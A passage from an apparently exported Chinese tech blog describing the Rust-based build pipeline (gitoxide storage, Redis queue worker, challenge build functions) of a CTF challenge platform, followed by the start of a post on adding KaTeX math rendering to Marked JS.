class=\"nb\"\u003eDefault\u003c/span\u003e::\u003cspan class=\"n\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eOk\u003c/span\u003e\u003cspan class=\"p\"\u003e(())\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e在git操作上,我选了gitoxide库来查询HEAD所对应的提交记录,并根据提交记录来将整个工作区文件恢复至 dst_path 中。选gitoxide的一大原因是纯rust实现,就个人洁癖而言我还是很愿意费点力气尽力减少二进制依赖的。\u003c/p\u003e\n\u003ch2 id=\"持续集成持续部署\"\u003e持续集成/持续部署\u003c/h2\u003e\n\u003cp\u003e实现完成Git文件存储模块之后,接下来要实现持续集成/持续部署模块来与之相配合,共同完成题目的存储、发布工作。由于题目的构建工作可能耗时很长,因此将其过程放在某个HTTP请求处理过程中是不合适的。同时,构建过程可能会较大的消耗服务器资源,因此需要控制题目构建的资源消耗。\u003c/p\u003e\n\u003cp\u003e在实现方案中使用了Redis提供的消息队列功能来处理题目构建请求。当出题人在平台上请求构建题目时,这个构建请求会被放入Redis的消息队列中。在服务器启动时,会初始化一个单独的线程持续监听消息队列,如果消息队列中有新的构建请求,那么就停止监听并取出这个请求,然后调用题目类型对应的构建代码来处理题目仓库中的文件,根据出题人设置好的配置文件将题目附件、容器等必要组件构建好,存储在stable文件夹中备用。构建完毕之后,构建线程会重新回到监听消息队列的状态,并持续处理之后的构建请求。\u003c/p\u003e\n\u003cp\u003e这样就可以将构建过程消耗的服务器资源控制在单个题目资源上,不会出现题目构建请求过多将服务器硬件资源消耗殆尽,平台无法对外提供服务的情况。\u003c/p\u003e\n\u003cp\u003e构建线程大概长这样:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-rust\" data-lang=\"rust\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epub\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003easync\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efn\u003c/span\u003e \u003cspan class=\"nf\"\u003estart_build_worker\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecache\u003c/span\u003e: \u003cspan class=\"nc\"\u003eBuilderCache\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e-\u0026gt; \u003cspan class=\"nc\"\u003eanyhow\u003c/span\u003e::\u003cspan class=\"nb\"\u003eResult\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etokio\u003c/span\u003e::\u003cspan class=\"n\"\u003espawn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003easync\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003emove\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eloop\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echallenge\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecache\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eget_task\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echecker\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eopen_checker\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003echallenge\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ematch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echecker\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eOk\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edebug\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;challenge built: {}:{}\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echallenge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echallenge\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eErr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eerr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;failed to build challenge: {}\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eerr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003econtinue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eOk\u003c/span\u003e\u003cspan class=\"p\"\u003e(())\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003eopen_checker\u003c/code\u003e 函数用来根据challenge类型来构造checker,然后调用checker对应的build函数来进行构建操作。不同的题目类型构建方式也不一样,这里通过工厂模式实现了逻辑解耦,想实现一个新的题目类型只要按照要求实现一下对应的trait就可以了。\u003c/p\u003e\n\u003cp\u003e一个简单的附件题目构建函数例子:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-rust\" data-lang=\"rust\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003easync\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efn\u003c/span\u003e \u003cspan class=\"nf\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e-\u0026gt; \u003cspan class=\"nc\"\u003eanyhow\u003c/span\u003e::\u003cspan class=\"nb\"\u003eResult\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eworking\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclean\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003echeckout_to_working\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eworking\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elock\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebase_path\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eworking\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003econfig_file\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebase_path\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejoin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;config.toml\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003econfig\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eread_config\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003econfig_file\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echeck_flag\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003econfig\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprovided\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003ebase_path\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejoin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eexists\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echeck_flag\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eworking\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eunlock\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echeck_flag\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estabilize\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eOk\u003c/span\u003e\u003cspan class=\"p\"\u003e(())\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e由于静态附件类题目只需要检查提供给选手的文件是否有误,所以只需要这样就可以了。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/2023_04_10_cicd/"},{"title":"Marked JS 集成 Katex 数学公式渲染","time":"2023-02-08T19:00:14+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e在内容网站中支持 Markdown 渲染已经是一个很常见的需求了,相比较 \u003ca href=\"https://github.com/Vanessa219/vditor\" target=\"_blank\" rel=\"noopener noreffer \"\u003eVditor\u003c/a\u003e、\u003ca href=\"https://github.com/markdown-it/markdown-it\" target=\"_blank\" rel=\"noopener noreffer \"\u003emarkdown-it\u003c/a\u003e 等重量级 markdown 编辑器与渲染工具来说,用 \u003ca href=\"https://marked.js.org\" target=\"_blank\" rel=\"noopener noreffer \"\u003emarked\u003c/a\u003e 这类更轻量级的渲染库会带来更好的体验,网站的样式也都可以自己控制。但是 \u003ca href=\"https://marked.js.org\" target=\"_blank\" rel=\"noopener noreffer \"\u003eMarked JS\u003c/a\u003e 仅支持将基本 Markdown 语法渲染成 HTML 标记,对于 代码块高亮、数学公式还是无能为力的。有关代码高亮官方给出了与\u003ca href=\"https://highlightjs.org/\" target=\"_blank\" rel=\"noopener noreffer \"\u003ehighlightJS\u003c/a\u003e集成的\u003ca href=\"https://marked.js.org/using_advanced\" 